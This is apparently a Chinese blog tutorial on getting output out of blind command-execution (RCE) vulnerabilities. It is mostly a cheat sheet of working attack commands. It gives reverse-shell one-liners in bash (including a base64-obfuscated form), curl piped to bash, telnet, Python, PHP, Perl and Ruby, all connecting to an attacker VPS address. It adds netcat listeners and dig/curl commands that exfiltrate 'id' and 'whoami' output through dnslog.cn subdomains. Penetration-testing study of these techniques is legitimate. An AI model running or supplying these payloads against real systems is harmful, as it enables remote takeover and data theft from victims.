最近遇到了很多关于无回显的命令执行,发现自己在这方面的处理还很是生疏,所以来重新学习、总结一下
在很多时候我们拿到一个RCE漏洞时可能存在没有回显的利用链,那么在这时,就需要我们通过出网,将我们执行命令的结果外带出来,以此来观察执行命令的结果。
通常我们有两种方式:
- 反弹shell
- DNSlog外带
下面就来说说这两种方法的基本操作
反弹shell
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
正向连接
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
反向连接
反弹shell通常适用于如下几种情况:
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
- 目标机端口被占用。
- 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
- ......
对于以上几种情况,我们是无法利用正向连接的,要用反向连接
那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。
反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定
利用Bash反弹shell
我喜欢使用bash结合重定向的一句话反弹shell
假设我们的VPS的IP:111.111.11.111
,Port:1111
具体命令如下:
bash -i >& /dev/tcp/111.111.11.111/1111 0>&1
// 或者
bash -c "bash -i >& /dev/tcp/111.111.11.111/1111 0>&1"
// 或者
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExLjExMS8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}'
// 这里echo后的内容是是 bash -i >& /dex/tcp/111.111.11.111/1111 0>&1 的base64编码
目标主机连接攻击机前,攻击机要开启本地监听
nc -lvp 1111
效果如下(左攻击机,右靶机):
分析一下bash反弹一句话
bash -i
:产生一个bash交互环境。>&
: 将联合符号前面的内容与后面相结合,然后一起重定向给后者。/dev/tcp/111.111.11.111/1111
:Linux环境中所有的内容都是以文件的形式存在的,让目标主机与攻击机111.111.11.111的1111端口建立一个tcp连接。0>&1
:将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。
Curl配合Bash反弹shell
这里操作也很简单,借助了Linux中的管道
首先我们要在攻击者VPS的web目录里创建一个index.php
(或index.html
)文件,内容是bash方法的一句话
bash -i >& /dev/tcp/111.111.11.111/1111 0>&1
接着开启监听
nc -lvp 1111
靶机利用curl
,即可反弹shell
curl 111.111.11.111|bash
效果如下(左攻击机,右靶机):
curl
中的IP可以是任何格式的,比如十进制、十六进制、二进制等等。
利用Telnet反弹shell
当nc
和/dev/tcp
不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。
方法一
攻击机开启本地监听
nc -lvp 1111
靶机主动连接攻击机
mknod a p; telnet 111.111.11.111 1111 0<a | /bin/bash 1>a
效果如下(左攻击机,右靶机):
方法二
攻击机开启两个本地监听
nc -lvp 1111
nv -lvp 1222
靶机主动连接攻击机
telnet 111.111.11.111 1111 | /bin/bash | telnet 111.111.11.111 1222
效果如下(左攻击机,右靶机):
如上图所示,获得shell后,在攻击机1111端口的终端上输入的命令会在目标机上执行,执行的回显将通过1222端口的终端显示出来。
Python 脚本反弹shell
当目标主机上有python环境时,我们可以用Python来反弹shell。
攻击机开启本地监听:
nc -lvp 1111
靶机连接攻击机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("111.111.11.111",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
效果如下(左攻击机,右靶机):
php 脚本反弹shell
当目标主机上有php环境时,我们可以用php来反弹shell。
攻击机开启本地监听:
nc -lvvp 1111
目标机主动连接攻击机:
php -r '$sock=fsockopen("111.111.11.111",1111);exec("/bin/sh -i <&3 >&3 2>&3");'
效果如下(左攻击机,右靶机):
Perl 脚本反弹shell
当目标主机上有perl环境时,我们可以用perl来反弹shell
攻击机开启本地监听:
nc -lvvp 1111
靶机主动连接攻击机:
perl -e 'use Socket;$i="111.111.11.111";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
效果如下(左攻击机,右靶机):
Ruby脚本反弹shell
当目标主机上有ruby环境时,我们可以用ruby来反弹shell。
攻击机开启本地监听:
nc -lvvp 1111
靶机主动连接攻击机:
ruby -rsocket -e 'c=TCPSocket.new("111.111.11.111","1111");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
//或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("111.111.11.111","1111");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
效果如下(左攻击机,右靶机):
DNSlog外带
我们可以通过输入$(cmd)
可以将执行命令的结果以请求参数的形式外带出来。
常用工具
使用方法相似,下面将以dnslog为例
外带方法
dig
配合$()
dig $(echo -n $(id) | base64 | head -c 63).in5lka.dnslog.cn
命令解读, dig
解析域名 ,$()
调用返回结果作为参数调用,id
需要命令执行字符串,BASE64 将$(id)
执行的结果进行BASE64编码,便于传输,head -c 63
只输出前0-63个字符,如果不足则全部输出
效果如下:
利用curl和反引号
curl `whoami`.8a4w38.dnslog.cn
效果如下:
参考资料
https://xz.aliyun.com/t/9488?time__1311=n4%2BxnD0Du0YGq0KYGNnmDUxYqY5%3DmB7LMbD
https://blog.takake.com/posts/48318/#1-%E7%AE%80%E4%BB%8B
评论